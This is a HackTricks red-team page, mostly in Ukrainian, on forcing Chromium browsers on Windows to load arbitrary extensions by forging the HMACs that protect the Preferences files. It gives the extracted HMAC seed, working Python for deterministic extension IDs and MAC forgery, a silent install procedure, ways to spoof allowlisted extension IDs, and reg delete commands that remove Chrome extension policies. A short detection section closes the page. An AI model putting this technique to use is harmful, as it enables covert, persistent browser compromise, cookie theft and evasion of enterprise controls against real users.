Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Стелс post-exploitation technique для force-load arbitrary extensions у Chromium-based browsers на Windows шляхом редагування Preferences/Secure Preferences користувача та підробки дійсних HMACs для змінених вузлів. Працює проти Chrome/Chromium, Edge і Brave. Спостерігалось, що застосовно для Chromium 130–139 на момент публікації. Простий disk write primitive у victim profile достатній, щоб зберегти full-privileged extension без command-line flags або user prompts.

Ключова ідея: Chromium зберігає стан розширень для кожного користувача в JSON preferences file і захищає його HMAC-SHA256. Якщо ви обчислите дійсні MACs з використанням браузерного embedded seed і запишете їх поруч із вашими injected nodes, браузер прийме і активує ваш extension entry.

Де зберігається стан розширення (Windows)

  • Chrome профіль, не приєднаний до домену:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (містить кореневий "super_mac").
  • Chrome профіль, приєднаний до домену:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Ключові вузли, що використовує Chromium:
  • extensions.settings.<extension_id> → вбудований manifest/metadata для запису розширення
  • protection.macs.extensions.settings.<extension_id> → HMAC для цього JSON blob
  • Chromium ≥134: extensions.ui.developer_mode (boolean) має бути присутнім і MAC‑signed для активації unpacked extensions

Спрощена схема (ілюстративно):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Примітки:

  • Edge/Brave використовують подібні структури. Значення protection seed може відрізнятися (у деяких збірках спостерігалося, що Edge/Brave використовують null/інший seed).

Ідентифікатори розширень: шлях проти key і як зробити їх детермінованими

Chromium отримує ID розширення таким чином:

  • Паковане/підписане розширення: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • Непаковане (немає key у manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

Щоб зберегти стабільний ID між хостами, вбудуйте фіксований base64 DER public key у manifest.json під "key". ID буде похідним від цього ключа замість шляху інсталяції.

Утиліта для генерації детермінованого ID та пари ключів:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Додайте згенерований public key до вашого manifest.json, щоб зафіксувати ID:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium захищає налаштування за допомогою HMAC‑SHA256 над "path" + серіалізованим JSON-значенням кожного вузла. Насіння HMAC вбудоване в resources.pak браузера і залишалося дійсним до Chromium 139.

Екстрагуйте seed за допомогою GRIT pak_util та знайдіть контейнер seed (file id 146 у протестованих збірках):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Обчислюйте MACs (у верхньому регістрі шістнадцяткового формату) як:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Мінімальний приклад на Python:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Запишіть значення у:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Відмінності між браузерами: у Microsoft Edge та Brave seed може бути null або іншим. Структура HMAC залишається та сама; відповідно підлаштуйте seed.

Поради щодо реалізації

  • Використовуйте саме ту JSON-серіалізацію, яку використовує Chromium при обчисленні MACs (компактний JSON без пробілів практично безпечний; сортування ключів може допомогти уникнути проблем із порядком).
  • Переконайтеся, що extensions.ui.developer_mode існує і підписаний у Chromium ≥134, інакше ваш unpacked entry не активується.

Повний безшумний потік завантаження (Windows)

  1. Згенеруйте детерміністичний ID і вбудуйте "key" у manifest.json; підготуйте unpacked MV3 extension з потрібними дозволами (service worker/content scripts)
  2. Створіть extensions.settings., вбудувавши manifest і мінімальні install metadata, потрібні Chromium (state, path for unpacked тощо)
  3. Витягніть HMAC seed з resources.pak (file 146) і обчисліть два MACs: один для вузла settings і один для extensions.ui.developer_mode (Chromium ≥134)
  4. Запишіть сформовані вузли і MACs у Preferences/Secure Preferences профілю цілі; наступний запуск автоматично активує ваше extension із повними задекларованими привілеями

Обхід корпоративних контролів

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Встановіть дозволений Web Store extension і запишіть його ID
  2. Отримайте його public key (наприклад, через chrome.runtime.getManifest().key у background/service worker або шляхом отримання/парсингу його .crx)
  3. Встановіть цей key як manifest.key у вашому зміненому extension, щоб відтворити той самий ID
  4. Зареєструйте запис у Preferences і підпишіть MACs → ExtensionInstallAllowlist перевірки, що збігаються лише за ID, будуть обійдені
  • Extension stomping (ID collision precedence)

  • Якщо локальний unpacked extension має той самий ID, що й встановлений Web Store extension, Chromium віддає перевагу unpacked. Це фактично замінює легітимний extension у chrome://extensions, зберігаючи довірений ID. Перевірено на Chrome та Edge (наприклад, Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies знаходяться під HKCU\Software\Policies*

  • Маючи права admin, видаліть/змініть ключі політик перед записом ваших записів, щоб уникнути блокувань:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Шумний fallback: завантаження з командного рядка

У Chromium ≥137 для --load-extension також потрібно передавати:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Цей підхід широко відомий і відстежується (наприклад, EDR/DFIR; використовується commodity malware, як Chromeloader). Preference MAC forging є більш прихованим.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Операційний вплив

Після прийняття розширення запускається з оголошеними permissions, що дозволяє DOM доступ, request interception/redirects, доступ до cookie/storage та screenshot capture — фактично in‑browser code execution та стійку user‑profile persistence. Віддалене розгортання через SMB або інші канали є простим, оскільки активація керується даними через Preferences.

Виявлення та жорсткіші налаштування

  • Моніторити non‑Chromium процеси, які записують у Preferences/Secure Preferences, особливо нові вузли під extensions.settings у парі з protection.macs entries
  • Повідомляти про несподіване переключення extensions.ui.developer_mode та про HMAC‑valid, але непідтверджені extension entries
  • Перевіряти HKCU/HKLM Software\Policies на предмет підміни; примусово застосовувати політики через device management/Chrome Browser Cloud Management
  • Віддавати перевагу forced‑install з магазину зі verified publishers замість allowlists, що співпадають лише за extension ID

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks